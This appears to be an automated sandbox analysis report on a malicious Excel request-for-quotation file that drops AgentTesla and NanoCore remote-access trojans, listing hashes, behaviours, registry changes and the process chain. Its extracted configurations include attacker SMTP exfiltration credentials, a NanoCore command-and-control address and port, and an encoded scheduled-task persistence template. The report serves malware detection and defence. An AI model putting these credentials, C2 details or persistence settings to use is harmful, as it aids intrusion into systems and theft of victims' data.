agenttesla | 17b7d30b0960240b297dc208673fd4d8e9bfe52fc68a24785b83dc4b6702dba5

Analysis

max time kernel
150s
max time network
135s
platform
windows7_x64
resource
win7-en-20210920
submitted
26-09-2021 19:12

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Report Analysis Logs

General

Target

RFQ#903_260921_new_request_10012_products.xls
Size

38KB
MD5

03cf64f6dff8c1467a756d8c2e2fac16
SHA1

c124554906286cdaa48240a394777b1ef6c853fe
SHA256

17b7d30b0960240b297dc208673fd4d8e9bfe52fc68a24785b83dc4b6702dba5
SHA512

4d47bc2367459ad55f2c5a91733d729c045035f0d8ad3fefa7f1ba015d68da957efbafd3dbb25a3033fcb4ac539480cc1c5d8d6e4d8baefe61f68caeca25bbb9

Score

10^/10

agenttesla nanocore agilenet evasion keylogger persistence spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
smtp.privateemail.com
Port:
587
Username:
[email protected]
Password:
office12#

Extracted

Family

nanocore

Version

1.2.2.0

185.140.53.52:4488

Mutex

4457cc23-84d1-4515-bdf3-bc83fe8472db

Attributes

activate_away_mode
true
backup_connection_host
backup_dns_server
8.8.4.4
buffer_size
65535
build_time
2021-07-08T12:51:02.136438436Z
bypass_user_account_control
false
bypass_user_account_control_data
PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTE2Ij8+DQo8VGFzayB2ZXJzaW9uPSIxLjIiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmRvd3MvMjAwNC8wMi9taXQvdGFzayI+DQogIDxSZWdpc3RyYXRpb25JbmZvIC8+DQogIDxUcmlnZ2VycyAvPg0KICA8UHJpbmNpcGFscz4NCiAgICA8UHJpbmNpcGFsIGlkPSJBdXRob3IiPg0KICAgICAgPExvZ29uVHlwZT5JbnRlcmFjdGl2ZVRva2VuPC9Mb2dvblR5cGU+DQogICAgICA8UnVuTGV2ZWw+SGlnaGVzdEF2YWlsYWJsZTwvUnVuTGV2ZWw+DQogICAgPC9QcmluY2lwYWw+DQogIDwvUHJpbmNpcGFscz4NCiAgPFNldHRpbmdzPg0KICAgIDxNdWx0aXBsZUluc3RhbmNlc1BvbGljeT5QYXJhbGxlbDwvTXVsdGlwbGVJbnN0YW5jZXNQb2xpY3k+DQogICAgPERpc2FsbG93U3RhcnRJZk9uQmF0dGVyaWVzPmZhbHNlPC9EaXNhbGxvd1N0YXJ0SWZPbkJhdHRlcmllcz4NCiAgICA8U3RvcElmR29pbmdPbkJhdHRlcmllcz5mYWxzZTwvU3RvcElmR29pbmdPbkJhdHRlcmllcz4NCiAgICA8QWxsb3dIYXJkVGVybWluYXRlPnRydWU8L0FsbG93SGFyZFRlcm1pbmF0ZT4NCiAgICA8U3RhcnRXaGVuQXZhaWxhYmxlPmZhbHNlPC9TdGFydFdoZW5BdmFpbGFibGU+DQogICAgPFJ1bk9ubHlJZk5ldHdvcmtBdmFpbGFibGU+ZmFsc2U8L1J1bk9ubHlJZk5ldHdvcmtBdmFpbGFibGU+DQogICAgPElkbGVTZXR0aW5ncz4NCiAgICAgIDxTdG9wT25JZGxlRW5kPmZhbHNlPC9TdG9wT25JZGxlRW5kPg0KICAgICAgPFJlc3RhcnRPbklkbGU+ZmFsc2U8L1Jlc3RhcnRPbklkbGU+DQogICAgPC9JZGxlU2V0dGluZ3M+DQogICAgPEFsbG93U3RhcnRPbkRlbWFuZD50cnVlPC9BbGxvd1N0YXJ0T25EZW1hbmQ+DQogICAgPEVuYWJsZWQ+dHJ1ZTwvRW5hYmxlZD4NCiAgICA8SGlkZGVuPmZhbHNlPC9IaWRkZW4+DQogICAgPFJ1bk9ubHlJZklkbGU+ZmFsc2U8L1J1bk9ubHlJZklkbGU+DQogICAgPFdha2VUb1J1bj5mYWxzZTwvV2FrZVRvUnVuPg0KICAgIDxFeGVjdXRpb25UaW1lTGltaXQ+UFQwUzwvRXhlY3V0aW9uVGltZUxpbWl0Pg0KICAgIDxQcmlvcml0eT40PC9Qcmlvcml0eT4NCiAgPC9TZXR0aW5ncz4NCiAgPEFjdGlvbnMgQ29udGV4dD0iQXV0aG9yIj4NCiAgICA8RXhlYz4NCiAgICAgIDxDb21tYW5kPiIjRVhFQ1VUQUJMRVBBVEgiPC9Db21tYW5kPg0KICAgICAgPEFyZ3VtZW50cz4kKEFyZzApPC9Bcmd1bWVudHM+DQogICAgPC9FeGVjPg0KICA8L0FjdGlvbnM+DQo8L1Rhc2s+
clear_access_control
true
clear_zone_identifier
false
connect_delay
4000
connection_port
4488
default_group
EXPO
enable_debug_mode
true
gc_threshold
1.048576e+07
keep_alive_timeout
30000
keyboard_logging
false
lan_timeout
2500
max_packet_size
1.048576e+07
mutex
4457cc23-84d1-4515-bdf3-bc83fe8472db
mutex_timeout
5000
prevent_system_sleep
false
primary_connection_host
185.140.53.52
primary_dns_server
8.8.8.8
request_elevation
true
restart_delay
5000
run_delay
0
run_on_startup
false
set_critical_process
true
timeout_interval
5000
use_custom_dns_server
false
version
1.2.2.0
wan_timeout
8000

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
NanoCore
NanoCore is a remote access tool (RAT) with a variety of capabilities.
keylogger trojan stealer spyware nanocore

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1528	2008	cmd.exe	EXCEL.EXE

AgentTesla Payload 3 IoCs

Processes:

resource	yara_rule
\Users\Admin\AppData\Roaming\ammero.exe	family_agenttesla
C:\Users\Admin\AppData\Roaming\ammero.exe	family_agenttesla
C:\Users\Admin\AppData\Roaming\ammero.exe	family_agenttesla

Downloads MZ/PE file
Executes dropped EXE 3 IoCs

Processes:

expo.exeammero.exeInstallUtil.exe

pid process

992 expo.exe
1136 ammero.exe
1512 InstallUtil.exe
Loads dropped DLL 3 IoCs

Processes:

ei.exeexpo.exe

pid process

1176 ei.exe
992 expo.exe
992 expo.exe

pid	process
992	expo.exe
1136	ammero.exe
1512	InstallUtil.exe

pid	process
1176	ei.exe
992	expo.exe
992	expo.exe

Obfuscated with Agile.Net obfuscator 1 IoCs

Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.

agilenet

Processes:

resource	yara_rule
behavioral1/memory/1176-67-0x00000000005B0000-0x00000000005D1000-memory.dmp	agile_net

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

reg.exeInstallUtil.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Windows\CurrentVersion\Run\expo = "C:\\Users\\Admin\\AppData\\Roaming\\expo.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\UDP Subsystem = "C:\\Program Files (x86)\\UDP Subsystem\\udpss.exe"	InstallUtil.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs
evasion trojan

System Information Discovery
T1082

Processes:

InstallUtil.exe

description ioc process

Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA InstallUtil.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

expo.exe

description pid process target process

PID 992 set thread context of 1512 992 expo.exe InstallUtil.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	InstallUtil.exe

description	pid	process	target process
PID 992 set thread context of 1512	992	expo.exe	InstallUtil.exe

Drops file in Program Files directory 2 IoCs

Processes:

InstallUtil.exe

description	ioc	process
File created	C:\Program Files (x86)\UDP Subsystem\udpss.exe	InstallUtil.exe
File opened for modification	C:\Program Files (x86)\UDP Subsystem\udpss.exe	InstallUtil.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Office loads VBA resources, possible macro or embedded object present
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

1900 schtasks.exe
968 schtasks.exe
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

pid	process
1900	schtasks.exe
968	schtasks.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 31 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXE

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE

Modifies registry class 64 IoCs

Processes:

EXCEL.EXE

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\ShellEx	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\mhtmlfile	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\ = "&Print"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\ = "&Print"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\ = "&Edit"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon\ = "\"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2008 EXCEL.EXE

pid	process
2008	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 16 IoCs

Processes:

powershell.exeei.exeexpo.exeammero.exeInstallUtil.exe

pid	process
1884	powershell.exe
1176	ei.exe
1176	ei.exe
1176	ei.exe
1176	ei.exe
1176	ei.exe
992	expo.exe
992	expo.exe
1136	ammero.exe
1136	ammero.exe
1512	InstallUtil.exe
1512	InstallUtil.exe
1512	InstallUtil.exe
1512	InstallUtil.exe
1512	InstallUtil.exe
1512	InstallUtil.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

InstallUtil.exe

pid process

1512 InstallUtil.exe

pid	process
1512	InstallUtil.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

powershell.exeei.exeexpo.exeammero.exeInstallUtil.exe

description	pid	process
Token: SeDebugPrivilege	1884	powershell.exe
Token: SeDebugPrivilege	1176	ei.exe
Token: SeDebugPrivilege	992	expo.exe
Token: SeDebugPrivilege	1136	ammero.exe
Token: SeDebugPrivilege	1512	InstallUtil.exe

Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

EXCEL.EXE

pid process

2008 EXCEL.EXE
2008 EXCEL.EXE
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

EXCEL.EXE

pid process

2008 EXCEL.EXE
2008 EXCEL.EXE
2008 EXCEL.EXE

pid	process
2008	EXCEL.EXE
2008	EXCEL.EXE

pid	process
2008	EXCEL.EXE
2008	EXCEL.EXE
2008	EXCEL.EXE

Suspicious use of WriteProcessMemory 48 IoCs

Processes:

EXCEL.EXEcmd.exepowershell.exeei.execmd.exeexpo.exeInstallUtil.exe

description	pid	process	target process
PID 2008 wrote to memory of 1528	2008	EXCEL.EXE	cmd.exe
PID 2008 wrote to memory of 1528	2008	EXCEL.EXE	cmd.exe
PID 2008 wrote to memory of 1528	2008	EXCEL.EXE	cmd.exe
PID 2008 wrote to memory of 1528	2008	EXCEL.EXE	cmd.exe
PID 1528 wrote to memory of 1884	1528	cmd.exe	powershell.exe
PID 1528 wrote to memory of 1884	1528	cmd.exe	powershell.exe
PID 1528 wrote to memory of 1884	1528	cmd.exe	powershell.exe
PID 1528 wrote to memory of 1884	1528	cmd.exe	powershell.exe
PID 1884 wrote to memory of 1176	1884	powershell.exe	ei.exe
PID 1884 wrote to memory of 1176	1884	powershell.exe	ei.exe
PID 1884 wrote to memory of 1176	1884	powershell.exe	ei.exe
PID 1884 wrote to memory of 1176	1884	powershell.exe	ei.exe
PID 1176 wrote to memory of 1060	1176	ei.exe	cmd.exe
PID 1176 wrote to memory of 1060	1176	ei.exe	cmd.exe
PID 1176 wrote to memory of 1060	1176	ei.exe	cmd.exe
PID 1176 wrote to memory of 1060	1176	ei.exe	cmd.exe
PID 1060 wrote to memory of 944	1060	cmd.exe	reg.exe
PID 1060 wrote to memory of 944	1060	cmd.exe	reg.exe
PID 1060 wrote to memory of 944	1060	cmd.exe	reg.exe
PID 1060 wrote to memory of 944	1060	cmd.exe	reg.exe
PID 1176 wrote to memory of 992	1176	ei.exe	expo.exe
PID 1176 wrote to memory of 992	1176	ei.exe	expo.exe
PID 1176 wrote to memory of 992	1176	ei.exe	expo.exe
PID 1176 wrote to memory of 992	1176	ei.exe	expo.exe
PID 992 wrote to memory of 1136	992	expo.exe	ammero.exe
PID 992 wrote to memory of 1136	992	expo.exe	ammero.exe
PID 992 wrote to memory of 1136	992	expo.exe	ammero.exe
PID 992 wrote to memory of 1136	992	expo.exe	ammero.exe
PID 992 wrote to memory of 1512	992	expo.exe	InstallUtil.exe
PID 992 wrote to memory of 1512	992	expo.exe	InstallUtil.exe
PID 992 wrote to memory of 1512	992	expo.exe	InstallUtil.exe
PID 992 wrote to memory of 1512	992	expo.exe	InstallUtil.exe
PID 992 wrote to memory of 1512	992	expo.exe	InstallUtil.exe
PID 992 wrote to memory of 1512	992	expo.exe	InstallUtil.exe
PID 992 wrote to memory of 1512	992	expo.exe	InstallUtil.exe
PID 992 wrote to memory of 1512	992	expo.exe	InstallUtil.exe
PID 992 wrote to memory of 1512	992	expo.exe	InstallUtil.exe
PID 992 wrote to memory of 1512	992	expo.exe	InstallUtil.exe
PID 992 wrote to memory of 1512	992	expo.exe	InstallUtil.exe
PID 992 wrote to memory of 1512	992	expo.exe	InstallUtil.exe
PID 1512 wrote to memory of 1900	1512	InstallUtil.exe	schtasks.exe
PID 1512 wrote to memory of 1900	1512	InstallUtil.exe	schtasks.exe
PID 1512 wrote to memory of 1900	1512	InstallUtil.exe	schtasks.exe
PID 1512 wrote to memory of 1900	1512	InstallUtil.exe	schtasks.exe
PID 1512 wrote to memory of 968	1512	InstallUtil.exe	schtasks.exe
PID 1512 wrote to memory of 968	1512	InstallUtil.exe	schtasks.exe
PID 1512 wrote to memory of 968	1512	InstallUtil.exe	schtasks.exe
